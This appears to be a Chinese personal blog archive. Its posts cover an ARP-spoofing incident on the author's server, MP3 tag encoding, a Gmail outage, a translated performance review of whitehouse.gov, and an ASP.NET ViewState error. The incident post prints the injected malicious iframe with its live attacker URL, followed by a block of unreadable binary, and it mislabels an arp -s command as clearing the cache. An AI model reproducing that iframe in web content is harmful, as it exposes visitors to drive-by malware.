美好的夜晚,就在某人发来“晚安~”之后被ARP攻击毁掉了…
20:07:32,blue问我是不是对服务器进行操作了,页面显示不正常。
检查发现这样的状况:

<iframe src=http://f.ugt4d.cn/d1/13/index.htm width=100 height=0></iframe>‹������´VOo#5?©ßÁ5Rè2N²Ý²M2Alº‚E Tlpª<cÏŒµ{°=¤ˆÏÃXqZq¡’+Hœ¸pCâÎ… Ï3ùÛ¦¥ZÁ2cûýý½÷~ÎhÿäãÉô‹ÓÇ(s¹D§Ÿ>zúd‚p‡ÏîO9™ž Ïߟ~øõ‚.šª¬pB+*    yüF8s®RUUPÝ´IÉô2ó¶z^yñÙqšs ÷Z£Úã,—ʆ;ìôŽõF˜SæßN8ÉÇ’ÂÆåÅ>z—åB    æ6oY4ÑÊ
yPÅåˆ4 •sG‘÷Ñá_–â<Ä^+יΠŽQܬBìøÌïsˆâŒË]˜FÏë�¤PÏQfx œ¦ÜêÝÇ‘:*ˆ­ÅÈpbëæ’ÛŒs‡‘ õ�ñÆÈ2Q8$©JK0âè9}Voz¯”9°\&AA
Ä$†æÜ’«Ôeh?DÝ{諽Ö›2RÇÔ2—ùæÎp¯õõ^+)UìW)†Çî 4²1S    Åtµ’ /$y-Ð(H°=2Ëõ__#IŽ*Á\â£n£HÆMˆá3æR”1¡Ò?lÖ¶ q½öç’ZhˆÒÚP¾3[>nðxäØÒÏÃ.,‰c›{½îÆæõÓþ•µâÌÂs]NèQ.ÒÌ
»Å¬ö<n«ÈÃZÚ ²UˆBñˆ@Zj©k©ÍàÍž££a
×±â‚z‡Å¬YVyÀJ²!ÿüí«?üñë%@fÆ7zù— ®on¬S¼šÎ;}üŸîòŸh“#ÑL³ÚÂÔ(hôE­1¢uÆx1nA‘ï4£ιmÒB¥[ŒZ&ãjiÂ
†Ñ9•%|«~ÿ={~«xcv¥æo“†Á8ƒà+jÖN|kìÄ“J‘BÆW¹|ùÍå߃,“gë>¥ žô!ÿ´ÎwléÒµi^ =jµY˜ò„ó.kƒ70f0Æ|æµ€}¨IÄðYDöêǍßXŽ;ù‚çû?×áoT@ù+í1i`ªëv¶Þõâþ¼;Œ»Guc«_;\&!Öı¯-£\¸õD¥sZ­
úÓïè»—ž·GÄC>¾³7X×ß    Û©    œÚƒ{ÏÞ)•×€ãžØÆ?Ü›žºÖ×�>

P.S. 我之所以没有隐藏掉iframe里的src,完全是SEO需要,下一个中招的弟兄可以搜到这篇文章。我知道你年少轻狂,也别动去访问那一页的念头!

总之就是所有页面前面都被加了一个iframe,明显的ARP攻击症状。
搜索从来不删除邮件的Gmail,我发现上次ARP攻击之后,我们的真正网关的MAC被换过了…所以这也是我不想轻易执行arp -s绑定的原因:机房会换网关的,而一旦换了我们不知道,就回导致断网。
于是我只好不断执行arp命令查看当前的MAC,发现是错误的MAC,就执行以下命令清除ARP缓存:

[code=’sh’]arp -s 网关IP地址 网关真正的MAC地址[/code]

然而我悲壮地发现ARP缓存更新非常快,不到两分钟呢。我总不能一夜都手工干这个啊。于是我还是动了-s的念头。最终-s暂时躲过了这一劫,下面到了21点30分,例行宕机时间了…

继续汉字信息化的问题。
我有些习惯,一尘不染的习惯,包括我的iPod中全部MP3歌曲,都包含了完整的tag元数据,歌手、专辑,甚至插图,一样不少。
转到Mac OS X来,拷贝过来的MP3在iTunes里,tag全部变成了乱码,很是郁闷。
这其实是MP3中tag数据的编码问题,Mac OS X里的编码解释没解释对,所以变成了乱码。解决方法,只要把所有文件的tag用一种Windows和Mac OS X都认识的编码重新转换即可。这个软件叫做MP3Tag,免费的。
流程如下(在Windows下操作):

  1. 首先把整个音乐库以添加文件夹的形式导入进来。
  2. 在工具,选项,标签,Mpeg中的写入,选择“ID3v2.3 UTF-16”。
  3. 然后确定出来全选,点右键,选择“保存标签”。
  4. 重新拷贝到Mac OS X下,导入iTunes。

2009-03-12_2017

嘿嘿,大功告成~

后记.NND,我截图的时候谁在狂发QQ!

概括一下:…
刚发表了一篇算是批评Gmail长时间的Outage,然后不久之后,我就犯下一个错误…
在同济网服务器上执行了一个错误的arp -s指令,导致机器就找不到网关了,服务器连接自然也就断了。
打电话给机房,发现IDC已经换上了极度炫的400免费电话,而且还有机器人应答,但是转人工的时候逼我听了好长时间的音乐,也不知道是接电话的兄弟上厕所还是CS还是睡着了(才晚上10点),不过最终还是接了。
IDC值班的兄弟告诉我一个很寒的事实:虽然是24小时服务,但是晚上机房里就没有技术人员了,只有按Reset的人。要想干点技术工作,还是等天亮吧。

gmail

哪里有绝对的可靠?Gmail这次也挂了,而且一挂就是几个小时。
我承认我有点过度依赖Google的服务了,最近还大爱Google Docs,热衷于把很多频繁更新的表格整理到Google Docs上去。
这次Gmail的Outage让我发现我居然有这么依赖Gmail,这几个小时积压的电子邮件居然到了让我回归钢笔A4纸时代…

Update:

Google在太平洋时间3点49分宣布正式解决了此问题,并公布了问题发生的原因:Google对一个欧洲的数据中心进行例行维修活动,而出口被转移到了另一个数据中心。结果一些新的代码造成了意想不到的问题,这些代码根据IP地址来判断用户地理位置,从而把他们引向较近的数据中心。结果,一个欧洲数据中心超载停机,并连锁反应引发了另一个数据中心出现问题。大约1个小时后,一切才得到控制。
Google表示这种事故非常罕见,而且他们将严加防范,以防止同类事故再次发生。

这样的解释可以理解,可是正常运行中的Gmail服务数据中心有这么高度平衡吗?

前几日大病一场,坐到机器旁边就感觉特别累。
不能耽误时间,想起笔记本上的系统已经2个月没重装了,于是乎重装吧~
由于想到上海后试一下Windows 7,之所以不在家里装Windows 7的原因很简单:家里没有DVD刻录机…所以想重新分一下磁盘分区,为了Windows 7做下准备。
分区的时候花了眼,第一次的时候把XP装到D盘去了,而且格式化了一遍,装好之后我发现巨大无比的C盘的时候,说实话很镇定…

3100281575_9a4ccf0ff5

再次重装,把系统装到较小的磁盘上,看着巨大无比的D盘空空如也,我镇定地装好Tortoise SVN,提交一个svn checkout,然后睡觉去了。
醒来发现,东西都回来啦~
可惜的是,几天前刚下好的两个电影丢了,要重新下载了。另外就是正月十五拍了些礼花照片,还没来得及上传,无所谓啦,反正没几张好的。

概述. 在美国第44任总统就职日这个历史性的日子,让我们来分析一下新的白宫网站(whitehouse.gov)代码结构吧。网站基于ASP.NET构建。

[singlepic=18466]

whitehouse.gov网站使用IIS 6.0. 网站的HTTP头信息中包含键值对”Server: Microsoft-IIS/6.0″。网站并没有使用微软公司最新版本服务器软件,IIS/7。

whitehouse.gov网站使用ASP.NET 2.0. HTTP头中标识自己的程序版本为”X-Aspnet-Version: 2.0.50727″。这个信息可以去掉,这样可以为每次服务器响应节省30字节带宽。

whitehouse.gov网站使用JQuery 1.2.6. JQuery JavaScript库,使用了其最小集版本,位于/includes/文件夹下。很多开发者使用Google服务器托管的JQuery以便提升性能和减小下载脚本的延迟时间。这样做可以提升站点性能。

<script type="text/javascript" src="/includes/eop/jquery-1.2.6.min.js"></script>

whitehouse.gov网站使用GZIP压缩. 所有网站文本都采用了GZIP压缩,显著地提升了性能。

未压缩大小:  48218 bytes
压缩后大小:   8370 bytes
节省带宽:           ~80%

whitehouse.gov网站使用Vary: Accept-Encoding. 在HTTP头中添加Vary: Accept-Encoding是一种强制代理不向不能解码GZIP的客户端发送GZIP内容的手段。

whitehouse.gov网站使用Cache-Control: privatemax-age. 它使用了”max-age=85895“,大约1 天。这样,html页面应该只会在你的计算机中缓存1天。

whitehouse.gov网站使用Web Trends Live追踪技术. WebTrends声称是“领先的网页分析和客户为中心智能市场营销解决方案(leading provider of web analytics and consumer-centric marketing intelligence solutions)。”

whitehouse.gov网站使用meta keywords标记. 这样做很奇怪,因为Internet上的访问者很少有不知道这里是干什么的。meta标记如下:

<meta name="keywords" content="President, Barack Obama, White House,
United States of America, 44th President, White House history, President Obama,
Barck, Barek, Barak, Barrack, Barrak, Obma, Barack" />

这样并不会对提升whitehouse.gov网站的Google PageRank有多少贡献。我认为搜索Barack Obama的用户无论如何都会被导引到这个网站的。

whitehouse.gov网站使用ViewState. 这是一个隐藏表单,允许网站在浏览器中存储服务器端数据。ASP.NET自动解析发送到浏览器的ViewState信息。浏览器不应该解析这个信息。

whitehouse.gov网站使用WebResource.axd. 这是ASP.NET生成的一个脚本文件。通常它们不能被有效地缓存,并且我发现它们的确降低了性能。

whitehouse.gov网站包含了很多空白字符. 如果你的浏览器启用了GZIP,这并不会带来性能影响,但是如果去掉这些空白字符,网站代码可以减小20%以上。

whitehouse.gov网站包含注释标签. 网站使用了很多HTML注释分割页面代码区域。如果能将这些注释写在服务器端代码中,可以在编译页面时不将注释编译在最终页面代码中,从而提升效率。

<!-- Start -->
<!-- End -->

whitehouse.gov网站包含很长很长的ASP.NET ID. 页面中的很多元素包含非常长的ID,是浪费带宽的主要因素之一。这些长ID可以很容易地在服务器端替换成短ID。

<a id="ctl09_rptNavigation_ctl00_rptNavigationItems_ctl01_hlSubNav"...

whitehouse.gov网站使用的GIF多于PNG. 网站使用的GIF图片多于PNG图片。PNG格式的图片可以更加优化,从而节省带宽和消耗。网站中使用了两个GIF动画。

whitehouse.gov网站使用了5个层叠式样式表(stylesheets)文件和12个JavaScripts脚本文件. 如果能把这两类文件合并成两个文件,网站可以更快而且更轻量级。当然这是针对访问首页的访客而言。奇怪的是,用于修饰管理页面的层叠式样式表也被加载进了普通用户的访问中:

/* admin styles */
/* cms */
.adminNavigation {width:996px; position:relative; z-index:100;}

whitehouse.gov网站使用了高度压缩的JPG. 如果你距离屏幕较远,或者视力不是那么好,这些图片看起来还行。开发者对JPG图片采用了高度压缩。这里显示的图片被放大并且轻微地二次压缩过。

[singlepic=18465]

whitehouse.gov网站使用了image sprites技术. 这项技术可以大幅提升站点性能,因为它将若干个小图片合并成了一张图片。这是一项先进的技术。采用了image sprites技术的图片是”nav-sprite.png“.

whitehouse.gov网站使用了Packer. Dean Edward的Packer是一个用于压缩JavaScript文件的工具。JavaScript脚本将在被下载时自动解压缩,这是一项很差的优化手段, 因为往往JavaScript经过GZIP压缩之后,比经过YUI压缩器(YUI Compressor)压缩之后更小。[参见 jquery-plugins.js]

eval(function(p,a,c,k,e,d)...

使用Packer的决定不像是一个深入了解GZIP或者文本压缩技术的人做出的。压缩之前的文件确实变小了,然而这导致了最终需要被下载的文件变大了。[http://dean.edwards.name/packer/]

whitehouse.gov大小821 KB, 在我的线路上(cable modem)使用了1.58秒完成加载。这个数字大约是新的、基于图片的网站的平均值。

加载时间:  1.58 seconds
总计大小:  821 KB

whitehouse.gov网站包含了几个隐藏链接. 在源文件里,大部分是在JavaScript中,大约嵌入了6个链接。这样,这些幸运的人就得到了来自白宫网站的外链(译者注:PageRank 9啊!9!)。

www.youngpup.net
http://sorgalla.com/jcarousel/
http://billwscott.com/carousel/
http://www.codylindley.com

whitehouse.gov网站使用了一个不透明的favicon.ico. 为了站点在加入书签后具有更好的视觉效果(译者注:对很多非IE浏览器而言,无论是否加入书签,favicon文件都会显示在标签栏),一个具有透明背景的favicon是更好的选择。这项改变对于一个知道怎么修改的人来说可以在10分钟内完成。

结论是,whitehouse.gov网站还是很吸引人的。虽然它并不算是一个非常有效率的站点,并且过多地注意了视觉效果。一个网站优化专家可以在几天之内将它的加载速度提升到现在的两倍。

最后,记住本届政府和奥巴马总统并不是写这些代码的人。

翻译自:http://dotnetperls.com/Content/whitehouse-gov-Site.aspx

“/”应用程序中的服务器错误。
验证视图状态 MAC 失败。如果此应用程序由网络场或群集承载,请确保<machineKey>配置指定了相同的validationKey和验证算法。不能在群集中使用AutoGenerate。

概括地说,就是POST执行时引起的“验证视图状态MAC失败”错误。
原因很简单:当你想使用传统POST提交信息到另一个aspx页面时出现这个错误。如果提交的action是本页面则不会出错。
解决方案:也很简单,去掉form中的runat=”server”即可。